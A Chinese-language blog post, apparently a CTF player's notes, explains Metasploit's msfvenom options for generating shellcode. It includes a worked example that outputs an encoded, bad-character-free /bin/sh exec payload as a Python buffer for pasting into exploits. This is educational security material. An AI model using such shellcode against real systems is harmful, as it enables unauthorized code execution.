之前在打CTF的时候写exploit,总是为了找不到shellcode而发愁,最近更新的peda的shellcode生成功能好像都不好使了,只能使用那万年不变的24 bytes shellcode,而且还没办法规避某些特殊字符。

不过metasploit framework套件中的msfpayload与msfencode配合使用可以做到生成指定的payload,现在这两个工具进行了合并,这就是msfvenom。安装了整个msf的话这个工具就已经包含其中了。

参数介绍

之前也看过一些资料,不过好像其版本不同的话其参数也会略有不同,这里给出我自己的参数(版本4.11.4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message

如果用过msf的童鞋应该对其payload以及exploit的过程比较熟悉,需要先使用一个payload然后指定一些option然后才能执行exploit,这里也是一样。

payload生成

主要使用-a与-p这两个选项,不过用-l列出payload列表之后发现其实直接在payload里指定architecture就可以了,如下面的写法

1
$ msfvenom -p linux/x86/exec CMD=/bin/sh

注意这里必须给出CMD的值,可以通过–payload-options来查看它有哪些参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ msfvenom -p linux/x86/exec --payload-options
Options for payload/linux/x86/exec:


Name: Linux Execute Command
Module: payload/linux/x86/exec
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 36
Rank: Normal

Provided by:
vlad902 <vlad902@gmail.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute

Description:
Execute an arbitrary command

...

一般ctf中取得shell就使用/bin/sh就可以了。关于其他的shell_bind_tcp还有更多的参数如LPORT等,可以自己研究。

编码与输出格式

-e选项可以指定encoder,这里我还没研究这个encoder有啥可以变的……

-f选项就是输出的格式,使用–help-formats查看可以输出的格式

1
2
3
4
5
$ msfvenom --help-formats
Error: Executable formats
asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

默认的输出格式是raw就是直接输出ayload的字符串,这样一般会出现乱码,所以和-o配合使用写入文件比较好。

还有就是转换成\x0a这种十六进制编码形式,我们要是在python里写exploit的话就可以指定-f python,如果需要c代码的话就可以用-f c

规避特殊字符

使用-b选项指定需要规避的字符列表,针对不同的函数需要规避不同的字符,例如gets就需要避免使用\x0a这种,而scanf的限制则更多大部分空白符都不能有。例如产生一段exec的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with An encoding exception occurred.
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 68 (iteration=0)
x86/call4_dword_xor chosen with final size 68
Payload size: 68 bytes
buf = ""
buf += "\x31\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x76\x0e\xd3\xc9\x64\xb3\x83\xee\xfc\xe2\xf4\xb9\xc2"
buf += "\x3c\x2a\x81\xaf\x0c\x9e\xb0\x40\x83\xdb\xfc\xba\x0c"
buf += "\xb3\xbb\xe6\x06\xda\xbd\x40\x87\xe1\x3b\xc1\x64\xb3"
buf += "\xd3\xe6\x06\xda\xbd\xe6\x17\xdb\xd3\x9e\x37\x3a\x32"
buf += "\x04\xe4\xb3"

接着把这段脚本复制进exploit中就可以使用了

PS:之前测试的时候发现一个问题,如果只指定-b '\x0b'的话,其payload中还是有0b,不知道是bug还是什么,如果使用-b '\xb'就不会出现这个问题。

其他选项

  • 使用-n选项在payload前填充Nop Sled
  • 使用-v选项指定变量名,默认就叫buf